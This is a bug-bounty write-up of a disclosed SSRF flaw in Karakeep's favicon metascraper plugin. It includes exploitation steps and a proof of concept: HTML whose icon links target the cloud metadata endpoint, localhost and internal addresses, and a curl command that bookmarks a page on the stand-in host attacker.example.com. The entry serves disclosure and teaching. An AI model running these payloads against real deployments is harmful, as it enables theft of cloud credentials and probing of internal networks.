# Karakeep SDK has SSRF via metascraper-logo-favicon that bypasses validateUrl protections

Karakeep's metascraper-logo-favicon plugin fetches favicon URLs from attacker HTML via got without validateUrl(), letting authenticated users SSRF internal/metadata endpoints.

- Payout: Research
- Severity: high
- Program: Karakeep
- Found by: CE2Sec
- Disclosed: 2026-05-14
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-7rx4-c5vx-g8w3
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-7rx4-c5vx-g8w3
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:nodejs technique:chained technique:source-review vuln:ssrf

**Target:** Node.js bookmark worker parse subprocess (metascraper-logo-favicon / reachable-url / got)
**Root cause:** The favicon metascraper plugin issues its own HTTP requests via reachable-url/got to href values extracted from attacker-controlled HTML, and only proxy agents are configured—no validateUrl() hook, IP blacklist, or DNS check is applied to this code path.
**Steps:**
1. Host HTML at a public URL with `<link rel="icon" href="http://169.254.169.254/latest/meta-data/" sizes="256x256">` plus localhost/internal icon links.
2. Create a bookmark via `POST /api/v1/bookmarks` with `{"type": "link", "url": "https://attacker.example.com/ssrf.html"}` and a Bearer API key.
3. Main URL passes validateUrl() and HTML is fetched; parseHtmlSubprocess extracts icon hrefs and got fetches them directly.
4. Observe outbound requests to 169.254.169.254, 127.0.0.1:3000, 192.168.1.1, or check the bookmark's logo field.
**How found:** Reporter compared the protected fetchWithProxy/validateUrl path against the parse subprocess and noticed metascraper plugins receive only proxy agent config, no URL validation hooks, so their internal got requests skip the SSRF checks.
**Exploitation:** Any authenticated user bookmarks an attacker page; the server fetches the page (allowed), then the favicon plugin blindly GETs internal URLs from the icon tags, enabling metadata credential theft, internal port probing, and redirect-based data leak into the stored logo field.
**Escalation:** Chaining metadata fetch (169.254.169.254 IAM credentials) or redirects from internal services to exfiltrate tokens via the logo field.
**Insight:** When an app hardens its main fetch with validateUrl, audit third-party parsers/scrapers (metascraper, reachable-url, got) that make their own requests from extracted HTML attributes—those subprocesses often bypass the central SSRF gate.

## Proof of concept (copied exactly from the original report)

**Malicious HTML with internal favicon URLs**

```
<html>
<head>
  <title>Innocent Page</title>
  <link rel="icon" href="http://169.254.169.254/latest/meta-data/" sizes="256x256">
  <link rel="icon" href="http://127.0.0.1:3000/api/v1/users/whoami" sizes="128x128">
  <link rel="icon" href="http://192.168.1.1/admin" sizes="64x64">
</head>
<body><p>Normal content</p></body>
</html>
```

**curl request creating bookmark to trigger SSRF**

```
curl -X POST http://localhost:3000/api/v1/bookmarks \
  -H "Authorization: Bearer YOUR_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"type": "link", "url": "https://attacker.example.com/ssrf.html"}'
```

